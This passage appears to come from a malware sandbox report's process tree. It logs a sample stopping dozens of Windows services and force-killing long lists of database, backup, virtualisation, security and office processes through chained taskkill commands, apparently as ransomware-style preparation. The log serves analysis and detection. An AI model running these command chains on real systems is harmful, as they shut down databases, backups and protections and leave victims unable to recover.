4⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RavService
5⤵
PID:1152

C:\Windows\SysWOW64\net.exe
net stop DFServ
4⤵
PID:2136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DFServ
5⤵
PID:1588

C:\Windows\SysWOW64\net.exe
net stop IngressMgr
4⤵
PID:1888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IngressMgr
5⤵
PID:1704

C:\Windows\SysWOW64\net.exe
net stop EvtSys
4⤵
PID:1984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EvtSys
5⤵
PID:2016

C:\Windows\SysWOW64\net.exe
net stop K3ClouManager
4⤵
PID:2092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop K3ClouManager
5⤵
PID:2336

C:\Windows\SysWOW64\net.exe
net stop NFVPrintServer
4⤵
PID:2084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NFVPrintServer
5⤵
PID:1748

C:\Windows\SysWOW64\net.exe
net stop RTCAVMCU
4⤵
PID:1016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTCAVMCU
5⤵
PID:2456

C:\Windows\SysWOW64\net.exe
net stop CobianBackup10
4⤵
PID:2544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CobianBackup10
5⤵
PID:2148

C:\Windows\SysWOW64\net.exe
net stop GNWebService
4⤵
PID:1952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop GNWebService
5⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop Mysoft.SchedulingService
4⤵
PID:1536

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Mysoft.SchedulingService
5⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop AgentX
4⤵
PID:2164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AgentX
5⤵
PID:576

C:\Windows\SysWOW64\net.exe
net stop SentinelKeysServer
4⤵
PID:984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SentinelKeysServer
5⤵
PID:1872

C:\Windows\SysWOW64\net.exe
net stop DGPNPSEV
4⤵
PID:2844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DGPNPSEV
5⤵
PID:2156

C:\Windows\SysWOW64\net.exe
net stop TurboCRM70
4⤵
PID:276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TurboCRM70
5⤵
PID:1628

C:\Windows\SysWOW64\net.exe
net stop NFSysService
4⤵
PID:1736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NFSysService
5⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop U8DispatchService
4⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8DispatchService
5⤵
PID:1572

C:\Windows\SysWOW64\net.exe
net stop NFOTPService
4⤵
PID:2796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NFOTPService
5⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop U8EISService
4⤵
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8EISService
5⤵
PID:1504

C:\Windows\SysWOW64\net.exe
net stop U8EncryptService
4⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8EncryptService
5⤵
PID:2472

C:\Windows\SysWOW64\net.exe
net stop U8GCService
4⤵
PID:1656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8GCService
5⤵
PID:1452

C:\Windows\SysWOW64\cmd.exe
cmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM Veeam.Backup.Service.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"
3⤵
PID:2420

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sqlservr.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM httpd.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2924

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM java.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM fdhost.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM fdlauncher.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Veeam.Backup.Service.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM reportingservicesservice.exe /F
4⤵
PID:3004

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM softmgrlite.exe /F
4⤵
PID:2996

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sqlbrowser.exe /F
4⤵
PID:2484

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ssms.exe /F
4⤵
- Kills process with taskkill
PID:2808

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM vmtoolsd.exe /F
4⤵
PID:2068

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM baidunetdisk.exe /F
4⤵
PID:2984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM yundetectservice.exe /F
4⤵
PID:2784

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ssclient.exe /F
4⤵
- Kills process with taskkill
PID:2388

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNAupdaemon.exe /F
4⤵
PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RAVCp164.exe /F
4⤵
PID:1712

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM igfxEM.exe /F
4⤵
PID:1488

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM igfxHK.exe /F
4⤵
PID:2228

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM igfxTray.exe /F
4⤵
PID:2904

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM 360bdoctor.exe /F
4⤵
PID:2132

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNCEFExternal.exe /F
4⤵
PID:2752

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM PrivacyIconClient.exe /F
4⤵
PID:2928

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UIODetect.exe /F
4⤵
PID:2956

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AutoDealService.exe /F
4⤵
- Kills process with taskkill
PID:2940

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM IDDAService.exe /F
4⤵
PID:2456

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM EnergyDataService.exe /F
4⤵
PID:2304

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM MPService.exe /F
4⤵
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TransMain.exe /F
4⤵
PID:2952

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DAService.exe /F
4⤵
PID:576

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GoogleCrashHandler.exe /F
4⤵
PID:668

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GoogleCrashHandler64.exe /F
4⤵
PID:1824

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GoogleUpdate.exe /F
4⤵
PID:1968

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cohernece.exe /F
4⤵
PID:1504

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM vmware-tray.exe /F
4⤵
- Kills process with taskkill
PID:2324

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM MsDtsSrvr.exe /F
4⤵
PID:1900

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM msmdsrv.exe /F
4⤵
- Kills process with taskkill
PID:868

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "FileZilla server.exe" /F
4⤵
PID:1452

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UpdateData.exe /F
4⤵
PID:2104

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM WebApi.Host.exe /F
4⤵
PID:2076

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM VGAuthService.exe /F
4⤵
PID:2332

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM omtsreco.exe /F
4⤵
PID:2704

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TNSLSNR.exe /F
4⤵
PID:1912

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM oracle.exe /F
4⤵
PID:2652

C:\Windows\SysWOW64\cmd.exe
cmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"
3⤵
PID:2560

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM pg_ctl.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM rcrelay.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SogouImeBroker.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM CCenter.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ScanFrm.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM d_manage.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2856

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RsTray.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wampmanager.exe /F
4⤵
- Kills process with taskkill
PID:1636

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RavTray.exe /F
4⤵
PID:2988

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mssearch.exe /F
4⤵
PID:2380

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sqlmangr.exe /F
4⤵
PID:1984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM msftesql.exe /F
4⤵
PID:2884

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SyncBaseSvr.exe /F
4⤵
PID:688

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM oracle.exe /F
4⤵
PID:2164

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TNSLSNR.exe /F
4⤵
PID:2000

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SyncBaseConsole.exe /F
4⤵
PID:1692

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM aspnet_state.exe /F
4⤵
PID:2112

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AutoBackUpEx.exe /F
4⤵
PID:2200

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM redis-server.exe /F
4⤵
PID:2144

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM MySQLNotifier.exe /F
4⤵
PID:2304

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM oravssw.exe /F
4⤵
PID:668

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM fppdis5.exe /F
4⤵
PID:2032

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM His6Service.exe /F
4⤵
PID:2472

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM dinotify.exe /F
4⤵
PID:916

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM JhTask.exe /F
4⤵
PID:2324

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Executer.exe /F
4⤵
PID:2136

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AllPassCBHost.exe /F
4⤵
PID:576

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ap_nginx.exe /F
4⤵
PID:2856

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AndroidServer.exe /F
4⤵
PID:2032

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM XT.exe /F
4⤵
PID:2816

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM XTService.exe /F
4⤵
PID:2456

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AllPassMCService.exe /F
4⤵
- Kills process with taskkill
PID:2468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM IMEDICTUPDATE.exe /F
4⤵
PID:1152

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM FlashHelperService.exe /F
4⤵
PID:2952

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ap_redis-server.exe /F
4⤵
PID:2148

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UtilDev.WebServer.Monitor.exe /F
4⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeRepl
5⤵
PID:2664

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UWS.AppHost.Clr2.x86.exe /F
4⤵
PID:2816

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM FoxitProtect.exe /F
4⤵
PID:2928

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ftnlses.exe /F
4⤵
- Kills process with taskkill
PID:632

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ftusbrdwks.exe /F
4⤵
- Kills process with taskkill
PID:540

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ftusbrdsrv.exe /F
4⤵
PID:2984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ftnlsv.exe /F
4⤵
PID:1084

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Syslogd_Service.exe /F
4⤵
PID:2144

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UWS.HighPrivilegeUtilities.exe /F
4⤵
PID:2468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ftusbsrv.exe /F
4⤵
PID:3020

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UWS.LowPrivilegeUtilities.exe /F
4⤵
PID:2944

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F
4⤵
- Kills process with taskkill
PID:1124

C:\Windows\SysWOW64\cmd.exe
cmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"
3⤵
PID:2536

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ThunderPlatform.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM iexplore.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3020

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM vm-agent.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2516

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM vm-agent-daemon.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3016

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM eSightService.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2936

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cygrunsrv.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:796

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wrapper.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM nginx.exe /F
4⤵
PID:2952

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM node.exe /F
4⤵
PID:2136

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sshd.exe /F
4⤵
PID:3004

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM vm-tray.exe /F
4⤵
PID:2576

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM iempwatchdog.exe /F
4⤵
PID:2196

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sqlwriter.exe /F
4⤵
PID:2704

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM php.exe /F
4⤵
